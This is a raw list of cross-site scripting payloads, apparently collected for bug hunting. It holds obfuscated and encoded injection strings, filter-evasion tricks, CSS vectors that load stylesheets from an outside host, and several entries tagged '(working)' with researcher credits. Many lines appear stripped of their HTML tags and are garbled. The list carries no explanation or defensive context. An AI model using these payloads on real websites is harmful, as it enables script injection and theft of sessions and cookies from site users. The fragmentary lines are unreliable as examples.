/>
{{{=".sub).call.call({}{$='constructor'].getOwnPropertyDescriptor(proto S).value,0,'alert(1)")(){}
-setTimeout'\u0028alert(1)\u0029'-’
%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E,
"/>alert(1)"/>
">
"javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie"
">
">%20//
'">
Click Here
aaa
Click Here!
xss'">;prompt`${document.domain}`%26lt;/script>'>
X
javascript:{ alert`0` }
1'">
%2sscript%2ualert()%2s/script%2u
“>
(working)
test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic
"onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic
"> (working)- @IamRenganathan
%27%09);%0d%0a%09%09[1].find(alert)//
"> - @itsgeekymonk
-@zapstiko
(working) -@aufzayed
-@ex_mi
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)>"@x.y
">
click
X
--!>
confirm(1)
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>alert(String.fromCharCode(88,83,83))
'';!--"=&{()}
0\"autofocus/onfocus=alert(1)-->"-confirm(3)-"
xxs link
xxs link
alert("XSS")">
alert("XSS");//
alert('XSS');
alert("XSS");
li {list-style-image: url("javascript:alert('XSS')");}XSS
@import'http://ha.ckers.org/xss.css';
; REL=stylesheet">
BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
@im\port'\ja\vasc\ript:alert("XSS")';
exp/*
alert('XSS');
.XSS{background-image:url("javascript:alert('XSS')");}
BODY{background:url("javascript:alert('XSS')")}
¼script¾alert(¢XSS¢)¼/script¾
alert('XSS');
'"-->
alert("XSS")');